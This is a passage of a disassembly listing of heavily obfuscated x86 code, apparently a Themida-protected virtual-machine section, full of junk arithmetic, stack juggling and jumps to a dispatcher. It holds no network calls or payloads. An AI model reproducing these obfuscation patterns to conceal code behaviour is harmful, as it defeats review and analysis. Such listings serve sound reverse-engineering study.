; ---------------------------------------------------------------------------


loc_5A70FA:				; CODE XREF: sub_58A891+24963j
		jnz	loc_5ADA8F
		sub	esi, 5691C1EFh
		jmp	loc_5AF5AE
; ---------------------------------------------------------------------------
		mov	eax, ebx
		mov	dh, dl


loc_5A710F:				; CODE XREF: sub_58A891+1A474j
		pop	ebx
		jmp	loc_5A35F1
; ---------------------------------------------------------------------------


loc_5A7115:				; CODE XREF: sub_58A891+21345j
		push	eax
		jmp	loc_5A4348
; ---------------------------------------------------------------------------


loc_5A711B:				; CODE XREF: sub_58A891+1ECF8j
		pop	eax
		pop	[esp+0B2h+var_B2]
		pop	esp
		jmp	loc_59CC7E
; ---------------------------------------------------------------------------


loc_5A7125:				; CODE XREF: sub_58A891+13259j
		or	ebx, edi
		pop	edi
		add	ebx, 0D3C6A5DFh
		jmp	loc_5A2E33
; ---------------------------------------------------------------------------


loc_5A7133:				; CODE XREF: sub_58A891+1AF87j
		push	[esp+0B6h+var_B6]
		jmp	loc_5AF700
; ---------------------------------------------------------------------------


loc_5A713B:				; CODE XREF: sub_58A891+26CF7j
		push	edi
		not	[esp+0BEh+var_BE]
		pop	edi
		not	edi
		shl	edi, 3
		jmp	loc_5A71A1
; ---------------------------------------------------------------------------


loc_5A714A:				; CODE XREF: sub_58A891:loc_5AE56Fj
		sub	ch, 43h
		sub	ch, 0FFh
		push	edx
		mov	dh, 0C0h
		jmp	loc_5AF75B
; ---------------------------------------------------------------------------


loc_5A7158:				; CODE XREF: sub_58A891+1E603j
		or	bl, 0B2h
		jmp	loc_5B08D3
; ---------------------------------------------------------------------------


loc_5A7160:				; CODE XREF: sub_58A891+19798j
		jmp	loc_5A979D
; ---------------------------------------------------------------------------


loc_5A7165:				; CODE XREF: sub_58A891+179DDj
		push	7BC6h
		mov	[esp+5Ah+var_5C+2], edi
		jmp	loc_59DA0F
; ---------------------------------------------------------------------------


loc_5A7172:				; CODE XREF: sub_58A891+1AF75j
					; sub_58A891+1DACAj
		push	ebp
		push	4AEE280Dh
		mov	ebp, [esp+8Ah+var_8C+2]
		add	esp, 4
		or	ebp, 79334445h
		push	0
		sub	[esp+8Ah+var_8C+2], ebp
		pop	ebp
		shr	ebp, 4
		xor	ebp, 67951ACDh
		mov	edx, ebp
		mov	ebp, [esp+86h+var_88+2]
		push	ecx
		jmp	loc_59FA0B
; ---------------------------------------------------------------------------


loc_5A71A1:				; CODE XREF: sub_58A891+1C8B4j
		dec	edi
		xor	edi, 2FF7C593h
		add	edx, edi
		mov	edi, [esp+0BAh+var_BA]
		add	esp, 4
		add	edx, ebx
		sub	edx, 23B5FE4h
		pop	ebx
		sub	esp, 4
		mov	[esp+0B6h+var_B6], eax
		mov	eax, 2
		sub	edx, 5DAE1C52h
		sub	edx, 5F11790Eh
		add	edx, eax
		jmp	loc_5A1604
; ---------------------------------------------------------------------------


loc_5A71DA:				; CODE XREF: sub_58A891+13965j
		push	[esp+42h+var_44+2]
		pop	ebx
		jmp	loc_59C9FA
; ---------------------------------------------------------------------------


loc_5A71E3:				; CODE XREF: sub_58A891+21374j
		mov	esi, edx
		push	esi
		mov	edi, [esp+46h+var_48+2]
		add	esp, 4
		push	[esp+42h+var_44+2]
		jmp	loc_5A764B
; ---------------------------------------------------------------------------


loc_5A71F4:				; CODE XREF: sub_58A891+226C3j
		pop	ebp
		add	esp, 4
		jmp	loc_59E855
; ---------------------------------------------------------------------------


loc_5A7200:				; CODE XREF: sub_58A891+18BD7j
		mov	edx, 3AC54D79h
		neg	edx
		dec	edx
		xor	edx, 26CE11FBh
		shr	edx, 2
		sub	edx, 3AE88CD6h
		sub	eax, edx
		pop	edx
		push	eax
		pop	edi
		mov	eax, [esp+3Eh+var_40+2]
		jmp	loc_5A7C5B
; ---------------------------------------------------------------------------


loc_5A7224:				; CODE XREF: sub_58A891+1733Aj
		mov	ebp, 784F1AB9h
		jmp	loc_5A2358
; ---------------------------------------------------------------------------


loc_5A722E:				; CODE XREF: sub_58A891+211EBj
		add	eax, 0F0BD19FAh
		xor	ebp, eax
		jmp	loc_59E4EC
; ---------------------------------------------------------------------------


loc_5A723A:				; CODE XREF: sub_58A891+158AEj
		sub	esp, 4
		mov	[esp+9Ch+var_9E+2], ebx
		mov	ebx, 2B9151E1h
		add	ebx, 0E60703CDh
		sub	ebp, ebx
		pop	ebx
		pop	edi
		jmp	loc_5ABF04
; ---------------------------------------------------------------------------


loc_5A7254:				; CODE XREF: sub_58A891+213E1j
		pop	ebx
		xor	eax, ebx
		jmp	loc_5B16EF
; ---------------------------------------------------------------------------


loc_5A725C:				; CODE XREF: sub_58A891+2267Bj
		push	edx
		mov	edx, 43096E20h
		xor	edx, 51227D69h
		inc	edx
		and	edx, 67AF39A5h
		dec	edx
		xor	edx, 0BFAFC266h
		jmp	loc_5AC55E
; ---------------------------------------------------------------------------


loc_5A727B:				; CODE XREF: sub_58A891+22501j
		add	ebp, ebx
		pop	ebx
		jmp	loc_5A590E
; ---------------------------------------------------------------------------


loc_5A7283:				; CODE XREF: sub_58A891+22586j
		push	542D70D6h
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		shr	ebp, 6
		add	ebp, 98B34CFh
		jl	loc_5AA928
		jmp	loc_5A2CBF
; ---------------------------------------------------------------------------


loc_5A72A2:				; CODE XREF: sub_58A891+24F87j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A72A7:				; CODE XREF: sub_58A891+252FAj
		mov	ebx, esp
		jmp	loc_5A8846
; ---------------------------------------------------------------------------


loc_5A72AE:				; CODE XREF: sub_58A891+23DF7j
		push	[esp+90h+var_8C]
		jmp	loc_5A1DC5
; ---------------------------------------------------------------------------


loc_5A72B7:				; CODE XREF: sub_58A891+26149j
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_5A8823
; ---------------------------------------------------------------------------


loc_5A72C8:				; CODE XREF: sub_58A891+1C5BBj
		or	edi, 45BC54EBh
		xor	edi, 77FF7CFBh
		mov	eax, edi
		mov	edi, [esp+5Ah+var_5C+2]
		add	esp, 4
		sub	edx, 382E4908h
		add	edx, eax
		add	edx, 382E4908h
		mov	eax, [esp+56h+var_58+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59FB40
; ---------------------------------------------------------------------------


loc_5A72FE:				; CODE XREF: sub_58A891+15F07j
		inc	esi
		jl	loc_5A5EDA
		shl	esi, 1
		inc	esi
		jle	loc_5AEC4C
		add	esi, 1
		sub	esp, 4
		mov	ah, al


loc_5A7319:				; CODE XREF: sub_58A891+22178j
		sub	ebp, 0BB18BA5Fh
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		xchg	esi, [esp+6Eh+var_70+2]
		jmp	loc_5A7ED1
; ---------------------------------------------------------------------------


loc_5A7330:				; CODE XREF: sub_58A891+1D52Ej
		push	[esp+6Eh+var_70+2]
		pop	edi
		push	edx
		push	0Ah
		jmp	loc_59E8FF
; ---------------------------------------------------------------------------


loc_5A733F:				; CODE XREF: sub_58A891+2352Ej
		or	esi, edi
		pop	edi
		and	esi, 24C62EA2h
		add	esi, 2C75B8Fh
		neg	esi
		push	ebp
		jmp	loc_5A824A
; ---------------------------------------------------------------------------


loc_5A7356:				; CODE XREF: sub_58A891+19A9Aj
		add	edx, edi
		pop	edi
		add	edx, 66902C23h
		pop	edi
		jmp	loc_5A3553
; ---------------------------------------------------------------------------


loc_5A7365:				; CODE XREF: sub_58A891+14B19j
		sub	dl, 0DCh
		jmp	loc_5A3496
; ---------------------------------------------------------------------------


loc_5A736D:				; CODE XREF: sub_58A891+2811Bj
		not	byte ptr [esp+74h+var_74+1]
		jmp	loc_59D5F9
; ---------------------------------------------------------------------------


loc_5A7376:				; CODE XREF: sub_58A891+2001Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+74h+var_74]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+78h+var_78], ecx
		mov	ecx, 1D012558h
		shl	ecx, 8
		jnz	loc_59C237
		neg	ecx
		jnb	loc_5AFB80
		mov	ch, bh


loc_5A73A8:				; CODE XREF: sub_58A891+1AA78j
		mov	[esp+78h+var_78], ecx
		mov	ch, 7Ch
		mov	bh, ch
		mov	ecx, [esp+78h+var_78]
		jmp	loc_5ADEF6
; ---------------------------------------------------------------------------


loc_5A73B7:				; CODE XREF: sub_58A891+19A73j
		add	esp, 4
		add	ecx, 4
		push	edi
		mov	edi, 1B81650Eh
		neg	edi
		sub	edi, 0E47E9AEEh
		add	ecx, edi
		pop	edi
		push	ecx
		push	[esp+12h+var_10+2]
		pop	ecx
		pop	[esp+12h+var_14+2]
		pop	esp
		xor	[esp+0Ah+var_C+2], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A73E6:				; CODE XREF: sub_58A891+18B4Dj
		push	0
		sub	[esp+0A4h+var_A6+2], edx
		pop	edx
		jmp	loc_5AC171
; ---------------------------------------------------------------------------


loc_5A73F4:				; CODE XREF: sub_58A891+184AEj
		add	esp, 4
		push	7373h
		mov	[esp+70h+var_70], eax
		jmp	loc_59F871
; ---------------------------------------------------------------------------


loc_5A7404:				; CODE XREF: sub_58A891+15453j
		mov	[esp+22h+var_24+2], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xor	edi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], edi
		xor	edi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		push	[esp+22h+var_24+2]
		pop	eax
		push	7908h
		mov	[esp+26h+var_28+2], edi
		mov	edi, esp
		jmp	loc_5AFEDE
; ---------------------------------------------------------------------------


loc_5A743F:				; CODE XREF: sub_58A891+17315j
		mov	[esp+32h+var_34+2], esi
		push	[esp+32h+var_30+2]
		mov	esi, [esp+36h+var_38+2]
		add	esp, 4
		pop	[esp+32h+var_34+2]
		mov	esp, [esp+2Eh+var_30+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+34h+var_34]
		jmp	loc_5A238B
; ---------------------------------------------------------------------------


loc_5A746A:				; CODE XREF: sub_58A891+1539Ej
		push	[esp+2Ah+var_2C+2]
		pop	edi
		jmp	loc_5A1D0E
; ---------------------------------------------------------------------------


loc_5A7473:				; CODE XREF: sub_58A891+262CDj
		push	edi
		pop	ebp
		mov	ebx, ebp
		pop	ebp
		pop	edi
		jmp	loc_5A1B53
; ---------------------------------------------------------------------------


loc_5A747E:				; CODE XREF: sub_58A891+13FF8j
		add	ebx, 3E1B2423h
		sub	ebx, ebp
		jmp	loc_5ADA25
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0B2h+var_B2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A19F5
; ---------------------------------------------------------------------------


loc_5A749D:				; CODE XREF: sub_58A891+19487j
		sub	esi, 2EAC7C48h
		jns	loc_5A17BE
		add	esi, 707A370Eh
		jz	loc_5A0775
		jmp	loc_5A6BF1
; ---------------------------------------------------------------------------


loc_5A74BA:				; CODE XREF: sub_58A891+1AFA3j
		push	2
		pop	ebp
		push	ebp
		mov	ebp, 6C4D0F94h
		inc	ebp
		shr	ebp, 6
		push	esi
		mov	esi, 1C273B6Fh
		xor	ebp, esi
		mov	esi, [esp+0B0h+var_B2+2]
		add	esp, 4
		add	ecx, 4CAB2286h
		add	ecx, 3F17A3Fh
		sub	ecx, ebp
		jmp	loc_5A8ECB
; ---------------------------------------------------------------------------


loc_5A74EB:				; CODE XREF: sub_58A891+1CD7Cj
					; sub_58A891+23B6Ej
		sub	esi, ebx
		sub	esi, 1C7541h
		jmp	loc_5A2F93
; ---------------------------------------------------------------------------


loc_5A74F8:				; CODE XREF: sub_58A891+1C040j
		mov	[esp+46h+var_48+2], ebx
		push	eax
		jmp	loc_5A86EA
; ---------------------------------------------------------------------------


loc_5A7501:				; CODE XREF: sub_58A891+1D3F9j
		push	0C8Fh
		mov	[esp+4Eh+var_50+2], eax
		push	esp
		mov	eax, [esp+52h+var_54+2]
		sub	esp, 4
		jmp	loc_5AD6CB
; ---------------------------------------------------------------------------


loc_5A7518:				; CODE XREF: sub_58A891+13DABj
		sub	esp, 4
		mov	[esp+0B2h+var_B2], ebp
		push	esp
		jmp	loc_5A15E9
; ---------------------------------------------------------------------------


loc_5A7524:				; CODE XREF: sub_58A891+1AF3Cj
		mov	ch, bh
		pop	ebx
		push	edx
		push	eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		mov	al, dl
		pop	edx
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5B1A00
; ---------------------------------------------------------------------------


loc_5A753C:				; CODE XREF: sub_58A891+22319j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7541:				; CODE XREF: sub_58A891+2871Bj
		pop	ecx
		xchg	esi, [esp+12h+var_14+2]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7553:				; CODE XREF: sub_58A891+1E292j
		xor	edx, 0BA064567h
		add	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_5B06A8
; ---------------------------------------------------------------------------


loc_5A7567:				; CODE XREF: sub_58A891+1E395j
		mov	eax, [esp+0Ah+var_C+2]
		push	ebx
		sub	esp, 4
		mov	[esp+12h+var_14+2], esp
		jmp	loc_5AA917
; ---------------------------------------------------------------------------


loc_5A7579:				; CODE XREF: sub_58A891+22C19j
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		mov	edi, [esp+0Ah+var_C+2]
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_59DC10
; ---------------------------------------------------------------------------


loc_5A7595:				; CODE XREF: sub_58A891+15502j
		shr	eax, 5
		jmp	loc_5A14D8
; ---------------------------------------------------------------------------


loc_5A759D:				; CODE XREF: sub_58A891+26FBEj
		shl	esi, 2
		jmp	loc_5A92B1
; ---------------------------------------------------------------------------


loc_5A75A5:				; CODE XREF: sub_58A891+1AF97j
		mov	[esp+0], edx
		jmp	loc_5B1C57
; ---------------------------------------------------------------------------


loc_5A75AD:				; CODE XREF: sub_58A891+18F92j
		push	ecx
		jmp	loc_5AB92B
; ---------------------------------------------------------------------------


loc_5A75B3:				; CODE XREF: sub_58A891+24D64j
		pop	eax
		jmp	loc_5AEEA4
; ---------------------------------------------------------------------------


loc_5A75B9:				; CODE XREF: sub_58A891+1E94Fj
		mov	ebx, 433754CCh
		xor	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 7BED5DC9h
		xor	ebp, 70C605C2h
		sub	ecx, ebp
		pop	ebp
		push	ebp
		push	0CCFE1602h
		jmp	loc_5AED4C
; ---------------------------------------------------------------------------


loc_5A75DB:				; CODE XREF: sub_58A891+21796j
		mov	[esp+4Ah+var_4C+2], eax
		push	17B53832h
		mov	eax, [esp+4Eh+var_50+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+52h+var_54+2]
		pop	esp
		sub	eax, 17B5382Eh
		jmp	loc_5AFFD0
; ---------------------------------------------------------------------------


loc_5A7600:				; CODE XREF: sub_58A891+13F64j
		pop	ecx
		add	esi, 40380877h
		add	esi, 1C7541h
		jmp	loc_5A74EB
; ---------------------------------------------------------------------------


loc_5A7612:				; CODE XREF: sub_58A891+235B9j
		shr	edi, 2
		sub	edi, 3C766B29h
		jmp	loc_5B0B55
; ---------------------------------------------------------------------------


loc_5A7620:				; CODE XREF: sub_58A891+1ACC2j
		pop	eax
		add	ebx, esi
		jmp	loc_5AAA01
; ---------------------------------------------------------------------------


loc_5A7628:				; CODE XREF: sub_58A891+13639j
		push	ecx
		mov	ecx, 223218FAh
		xor	ecx, 117A20FFh
		dec	ecx
		jmp	loc_5B149A
; ---------------------------------------------------------------------------


loc_5A763A:				; CODE XREF: sub_58A891+1B16Ej
		add	bh, 0FFh
		xchg	bh, al
		jmp	loc_5A01DA
; ---------------------------------------------------------------------------


loc_5A7644:				; CODE XREF: sub_58A891+16113j
		dec	ch
		jmp	loc_5B03D8
; ---------------------------------------------------------------------------


loc_5A764B:				; CODE XREF: sub_58A891+1C95Ej
		pop	esi
		jmp	loc_5A37F4
; ---------------------------------------------------------------------------


loc_5A7651:				; CODE XREF: sub_58A891+1E0A4j
		mov	ecx, 166F5CB9h
		jmp	loc_5A4861
; ---------------------------------------------------------------------------


loc_5A765B:				; CODE XREF: sub_58A891+25632j
		mov	ebp, 76256F1Ch
		shr	ebp, 5
		neg	ebp
		shr	ebp, 5
		add	ebp, 759A0148h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A1BD0
; ---------------------------------------------------------------------------


loc_5A7682:				; CODE XREF: sub_58A891+22373j
		xchg	ebp, [esp+46h+var_48+2]
		pop	esp
		and	eax, ebx
		push	[esp+42h+var_44+2]
		pop	ebx
		push	532Ch
		mov	[esp+46h+var_48+2], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], edi
		mov	edi, 11974D3Fh
		jmp	loc_59DDF3
; ---------------------------------------------------------------------------


loc_5A76A9:				; CODE XREF: sub_58A891+28003j
		jge	loc_59DF72
		add	ah, 5Fh
		push	ebx
		mov	bh, 0B6h
		shr	bh, 4
		neg	bh
		add	bh, 6Dh
		xor	bh, 7Bh
		xor	ah, bh
		pop	ebx
		or	bl, ah
		jmp	loc_5B1429
; ---------------------------------------------------------------------------


loc_5A76CA:				; CODE XREF: sub_58A891+11C51j
		push	275F337Fh
		mov	eax, [esp+3Eh+var_40+2]
		jmp	loc_5A549B
; ---------------------------------------------------------------------------


loc_5A76D7:				; CODE XREF: sub_58A891+1BD4Cj
		add	eax, 4
		add	eax, 4
		jmp	loc_5A8172
; ---------------------------------------------------------------------------


loc_5A76E6:				; CODE XREF: sub_58A891+258F6j
		push	[esp+0F2h+var_F4+2]
		mov	esi, [esp+0F6h+var_F8+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0FAh+var_FC+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5A9B22
; ---------------------------------------------------------------------------


loc_5A7707:				; CODE XREF: sub_58A891+15809j
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		pop	esp
		push	small 0F57h
		mov	word ptr [esp+1Ch+var_1C], dx
		push	25F7h
		mov	[esp+20h+var_20], ebp
		push	small 0C0Ch
		mov	bp, word ptr [esp+22h+var_24+2]
		add	esp, 2
		shr	bp, 6
		jp	loc_5AB8EC
		push	bx
		mov	bx, 0
		jmp	loc_5B09FD
; ---------------------------------------------------------------------------
		push	ebx


loc_5A774D:				; CODE XREF: sub_58A891+1F088j
		add	esp, 4
		jmp	loc_5A7F43
; ---------------------------------------------------------------------------


loc_5A7758:				; CODE XREF: sub_58A891+19B3Cj
		and	ebx, 670C41EAh
		inc	ebx
		jmp	loc_59DAFB
; ---------------------------------------------------------------------------


loc_5A7764:				; CODE XREF: sub_58A891+25EBEj
		sub	esp, 4
		mov	[esp+0D0h+var_D2+2], ebx
		mov	ebx, 3915741Bh
		push	9CBh
		jmp	loc_5A6ED8
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_5A652B
; ---------------------------------------------------------------------------


loc_5A7784:				; CODE XREF: sub_58A891+22482j
		mov	esi, [esp+0D8h+var_DA+2]
		jmp	loc_5B0337
; ---------------------------------------------------------------------------


loc_5A778C:				; CODE XREF: sub_58A891+14AEEj
		mov	esp, [esp+6Eh+var_70+2]
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5AB36F
; ---------------------------------------------------------------------------


loc_5A779D:				; CODE XREF: sub_58A891+18051j
		neg	edx
		dec	edx
		xor	edx, 0E6F8D636h
		add	edi, edx
		pop	edx
		push	edx
		push	ebx
		jmp	loc_5A149F
; ---------------------------------------------------------------------------


loc_5A77B0:				; CODE XREF: sub_58A891+1D165j
		mov	ebx, [esp+56h+var_58+2]
		add	esp, 4
		push	44AFh
		jmp	loc_5B0AD3
; ---------------------------------------------------------------------------


loc_5A77C0:				; CODE XREF: sub_58A891+12B89j
		sub	esi, 0D317612Bh
		sub	ebx, 588F0387h
		add	ebx, esi
		add	ebx, 588F0387h
		jmp	loc_59E3DC
; ---------------------------------------------------------------------------


loc_5A77D9:				; CODE XREF: sub_58A891+1D672j
		xor	ecx, 0D0BA379h
		add	edx, ecx
		jmp	loc_5AB498
; ---------------------------------------------------------------------------


loc_5A77E6:				; CODE XREF: sub_58A891+21BC8j
		push	edx
		mov	edx, 7E93194Eh
		xor	edx, 1ACE3577h
		neg	edx
		neg	edx
		shl	edx, 6
		jmp	loc_5B04A5
; ---------------------------------------------------------------------------


loc_5A77FE:				; CODE XREF: sub_58A891+23557j
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx


loc_5A7807:				; DATA XREF: Themida_:005F9094o
		jmp	loc_5A36A4
; ---------------------------------------------------------------------------


loc_5A780C:				; CODE XREF: sub_58A891+13C56j
		mov	esi, 3BD943D1h
		or	esi, 0D046332h
		dec	esi
		jnz	loc_5A000C
		not	esi
		shl	esi, 7
		jp	loc_5A57D2
		pop	esp


loc_5A782A:				; CODE XREF: sub_58A891+26B51j
		push	ebx
		mov	ebx, 26231CEAh
		sub	eax, ebx
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	[esp+36h+var_38+2]
		pop	ecx
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		push	eax
		jmp	loc_59CE8A
; ---------------------------------------------------------------------------


loc_5A7851:				; CODE XREF: sub_58A891+13B4Cj
		pop	edx
		shl	ebx, 4
		push	edx
		push	7EECh
		jmp	loc_5A6D2C
; ---------------------------------------------------------------------------


loc_5A7860:				; CODE XREF: sub_58A891+1F665j
		jmp	loc_5A9412
; ---------------------------------------------------------------------------


loc_5A7865:				; CODE XREF: sub_58A891+12B35j
		dec	edx
		jmp	loc_5B1315
; ---------------------------------------------------------------------------


loc_5A786B:				; CODE XREF: sub_58A891+11F40j
					; sub_58A891+1C2A2j
		push	esi
		mov	esi, 2A602B60h
		add	[esp+8Eh+var_88+2], esi
		jmp	loc_5A8F70
; ---------------------------------------------------------------------------


loc_5A787A:				; CODE XREF: sub_58A891+18906j
		add	ebx, ecx
		sub	ebx, 3486201Bh
		pop	ecx
		xchg	ebx, [esp+0A4h+var_A6+2]
		pop	esp
		mul	ecx
		push	2D2Dh
		jmp	loc_5A64AD
; ---------------------------------------------------------------------------


loc_5A7893:				; CODE XREF: sub_58A891+210E3j
		mov	ecx, esp
		push	edx
		mov	edx, esp
		jmp	loc_59EB21
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A78A4:				; CODE XREF: sub_58A891+22AE1j
		pop	esp
		jmp	loc_5B2054
; ---------------------------------------------------------------------------


loc_5A78AA:				; CODE XREF: sub_58A891+140B1j
		or	ebx, ecx
		pop	ecx
		jmp	loc_5AC198
; ---------------------------------------------------------------------------


loc_5A78B2:				; CODE XREF: sub_58A891+1FE0Fj
		sub	ebp, 4
		xor	ebp, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], ebp
		xor	ebp, [esp+3Eh+var_40+2]
		pop	esp
		jmp	loc_5A70D5
; ---------------------------------------------------------------------------


loc_5A78C7:				; CODE XREF: sub_58A891+23DE0j
		pop	edx
		xor	ebx, 0A0F696C0h
		jmp	loc_5A421C
; ---------------------------------------------------------------------------


loc_5A78D3:				; CODE XREF: sub_58A891+11DF7j
		pop	ebp
		push	esi
		mov	esi, esp
		push	edi
		push	edx
		jmp	loc_5A24B8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+7Ah+var_7C+2]
		push	edx
		jmp	loc_5A685E
; ---------------------------------------------------------------------------


loc_5A78E8:				; CODE XREF: sub_58A891+24463j
		jmp	loc_5A3DF7
; ---------------------------------------------------------------------------


loc_5A78ED:				; CODE XREF: sub_58A891:loc_5A3968j
					; sub_58A891+1C17Bj
		xor	cl, 0B9h
		sub	bl, cl
		pop	cx
		sub	bl, ah
		add	bl, 0Ah
		jmp	loc_5A02BB
; ---------------------------------------------------------------------------


loc_5A78FE:				; CODE XREF: sub_58A891+1373Aj
		sub	ebx, 3DFF528Dh
		or	ebx, 72B94A4Fh
		add	ebx, 1A474F02h
		jmp	loc_5A5978
; ---------------------------------------------------------------------------


loc_5A7915:				; CODE XREF: sub_58A891+1FF81j
		or	edx, 75A03719h
		xor	edx, 410B6A35h
		sub	eax, edx
		jmp	loc_5ADE8F
; ---------------------------------------------------------------------------


loc_5A7928:				; CODE XREF: sub_58A891+14E3Bj
		xor	edi, 447455FEh
		jmp	loc_5B0F73
; ---------------------------------------------------------------------------


loc_5A7933:				; CODE XREF: sub_58A891+1D1F8j
		mov	[esp+56h+var_58+2], ecx
		mov	cl, 54h
		sub	cl, 0F2h
		or	al, cl
		pop	ecx
		jmp	loc_59DB39
; ---------------------------------------------------------------------------


loc_5A7943:				; CODE XREF: sub_58A891+19198j
		jz	loc_59F203
		add	ebp, 2D7D720Ah
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5B1D7E
; ---------------------------------------------------------------------------


loc_5A7957:				; CODE XREF: sub_58A891+185A4j
		pop	ebx
		pop	ecx
		xor	ebp, [esp+0A6h+var_A6]
		xor	[esp+0A6h+var_A6], ebp
		xor	ebp, [esp+0A6h+var_A6]
		pop	esp
		rol	byte ptr [esp+0A2h+var_A2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A796C:				; CODE XREF: sub_58A891+26020j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7971:				; CODE XREF: sub_58A891+27BA6j
		push	eax
		jmp	loc_5AFEC8
; ---------------------------------------------------------------------------


loc_5A7977:				; CODE XREF: sub_58A891+23863j
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_5A8F30
; ---------------------------------------------------------------------------


loc_5A7980:				; CODE XREF: sub_58A891+20197j
		mov	eax, esp
		push	ebx
		jmp	loc_5AC021
; ---------------------------------------------------------------------------


loc_5A7988:				; CODE XREF: sub_58A891+250AAj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0B6h+var_B6]
		pop	esp
		mov	[esp+0B2h+var_B2], ebp
		mov	ebp, esp
		jmp	loc_5AA622
; ---------------------------------------------------------------------------


loc_5A799F:				; CODE XREF: sub_58A891+17E5Fj
		add	esp, 4
		add	ebp, 4
		push	3E9Dh
		jmp	loc_5AE030
; ---------------------------------------------------------------------------


loc_5A79B5:				; CODE XREF: sub_58A891+229E7j
					; sub_58A891+269C0j
		jns	loc_5B0BDC
		and	edx, 1D344E38h
		push	edx
		dec	[esp+0ACh+var_AE+2]
		pop	edx
		add	edx, 0EACBB4D7h
		mov	eax, edx
		jmp	loc_5A551A
; ---------------------------------------------------------------------------


loc_5A79D3:				; CODE XREF: sub_58A891+23141j
		xchg	edi, [esp+0A8h+var_AA+2]
		jmp	loc_5AB4A8
; ---------------------------------------------------------------------------


loc_5A79DB:				; CODE XREF: sub_58A891+20590j
		mov	ebx, [esp+0A8h+var_AA+2]
		add	esp, 4
		add	ebx, 0C0E342CBh
		sub	eax, 3A901923h
		sub	eax, ebx
		add	eax, 3A901923h
		jmp	loc_5A77B0
; ---------------------------------------------------------------------------


loc_5A79FB:				; CODE XREF: sub_58A891+18A44j
		push	ebx
		mov	ebx, esp
		push	604Ch
		mov	[esp+42h+var_44+2], ebp
		push	edi
		push	7CFE360Eh
		pop	edi
		jmp	loc_5ACDB6
; ---------------------------------------------------------------------------


loc_5A7A12:				; CODE XREF: sub_58A891+18436j
		sub	esi, 6D246CABh
		jl	loc_5A00F9
		inc	esi
		jmp	loc_5AAFF2
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		or	ah, 0F9h
		push	edi


loc_5A7A2A:				; CODE XREF: sub_58A891+1807Aj
					; sub_58A891+25CC1j
		pop	esi
		add	ecx, 32632C38h
		sub	ecx, 8B4D6D7Ch
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+74h+var_74]
		jmp	loc_5A323C
; ---------------------------------------------------------------------------


loc_5A7A42:				; CODE XREF: sub_58A891+27670j
		add	esp, 4
		push	15E1h
		mov	[esp+74h+var_74], ecx
		push	esp
		mov	ecx, [esp+78h+var_78]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A46A6
; ---------------------------------------------------------------------------


loc_5A7A62:				; CODE XREF: sub_58A891+2771Aj
		sub	esp, 4
		mov	[esp+78h+var_78], ecx
		mov	ecx, 4
		add	edi, 7E57198h
		add	edi, ecx
		jmp	loc_59E967
; ---------------------------------------------------------------------------


loc_5A7A7D:				; CODE XREF: sub_58A891+1F7C2j
		pop	ebx
		jmp	loc_5A8BD8
; ---------------------------------------------------------------------------


loc_5A7A83:				; CODE XREF: sub_58A891+1F422j
		shr	al, 8
		sub	esp, 4
		jmp	loc_5A7933
; ---------------------------------------------------------------------------


loc_5A7A8E:				; CODE XREF: sub_58A891+27359j
		xor	ebx, 56726DE6h
		jmp	loc_5AC25A
; ---------------------------------------------------------------------------


loc_5A7A99:				; CODE XREF: sub_58A891+25729j
		pop	esi
		sub	esp, 4
